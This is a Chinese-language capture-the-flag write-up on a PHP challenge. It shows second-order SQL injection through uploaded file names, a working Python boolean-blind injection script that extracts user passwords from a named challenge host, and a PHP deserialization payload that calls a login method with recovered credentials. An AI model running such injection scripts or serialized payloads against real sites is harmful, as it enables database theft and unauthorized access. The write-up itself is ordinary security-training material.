源码审计
首先看看题目的源码,rename.php在这里是存在二次注入的,新的文件名会替换旧的文件名,新文件名又将被直接取出
<?php
require_once "common.php";
if (isset($req['oldname']) && isset($req['newname'])) { $result = $db->query("select * from `file` where `filename`='{$req['oldname']}'");
if ($result->num_rows > 0) { $result = $result->fetch_assoc(); $info = $db->query("select * from `file` where `filename`='{$result['filename']}'"); $info = $info->fetch_assoc(); echo "oldfilename : ".$info['filename']." will be changed."; } else { exit("old file doesn't exists!"); } }
|
大致分析一下:
假设我们输入的文件名为:
1'or 1=1#.jpg
那么插入到数据库当中以后
将变成
1'or 1=1#
那么后面取出数据的时候
select * from `file` where `filename`='{$result['filename']}' select * from `file` where `filename`='1'or 1=1#'
|
一开始测试的时候 我是用and的,但是当我改成1’and 1=2的时候回显结果也是一样的?1'and 1=1#
后来我改成了1'or 1=1
,发现页面有了不一样的回显
所以可以进行布尔盲注
脚本编写
感觉最近写脚本越来越得心应手了虽然脚本都很简单哈哈哈哈
import requests s=requests.session() url1="http://b.y1ng.vip:2016/upload.php" url2="http://b.y1ng.vip:2016/rename.php" def upload(str): content="aaaa" file1 = { 'upfile':(f"1'{str}#.jpg",content,"image/jpeg") } r = s.post(url=url1, files=file1).text def rename(str): data={ "oldname":f"1'{str}#", "newname":"abc" } r=s.post(url=url2,data=data).text return r
def sql_injection(payload): fina_word="" for i in range(1,100): low=32 high=128 mid=(low+high)//2 while(low<high): payload_fina=f"or ascii(substr(({payload}),{i},1))>{mid}" upload(payload_fina) r=rename(payload_fina) if "Comp 1_100002" in r: low=mid+1 else: high=mid mid=(low+high)//2 if(mid==32 or mid==128): break fina_word+=chr(mid) print(fina_word)
if __name__ =="__main__": payload="select group_concat(password) from user" sql_injection(payload)
|
这样就可以注出用户名和密码了
反序列化分析
class XCTFGG{ private $method; private $args;
public function __construct($method, $args) { $this->method = $method; $this->args = $args; }
function login() { list($username, $password) = func_get_args(); $username = strtolower(trim(mysql_escape_string($username))); $password = strtolower(trim(mysql_escape_string($password)));
$sql = sprintf("SELECT * FROM user WHERE username='%s' AND password='%s'", $username, $password);
global $db; $obj = $db->query($sql);
$obj = $obj->fetch_assoc();
global $FLAG;
if ( $obj != false && $obj['privilege'] == 'admin' ) { die($FLAG); } else { die("Admin only!"); } }
function __destruct() { @call_user_func_array(array($this, $this->method), $this->args); } }
|
可以发现,只要登录成功,就可以拿到flag,此时我们已经得到账号密码了,构造一下即可,看了一下源码,在upload.php中存在反序列化的点,方法很少,所以pop链其实很好看出,就是destruct的时候会使用call_user_func_array,所以只要对method和args进行赋值即可:
<?php
error_reporting(0); class XCTFGG{ private $method; private $args; public function __construct($method, $args) { $this->method = $method; $this->args = $args; } } $a=new XCTFGG("login",array("XM","GaCtF5QL1")); echo urlencode(serialize($a));
|
但是不知道为啥没拿到flag
upload successfully!<br /> <b>Fatal error</b>: Uncaught Error: Call to undefined function mysql_escape_string() in /var/www/html/common.php:39 Stack trace: #0 /var/www/html/common.php(59): XCTFGG->login('XM', 'GaCtF5QL1') #1 /var/www/html/upload.php(47): XCTFGG->__destruct() #2 {main} thrown in <b>/var/www/html/common.php</b> on line <b>39</b><br />
|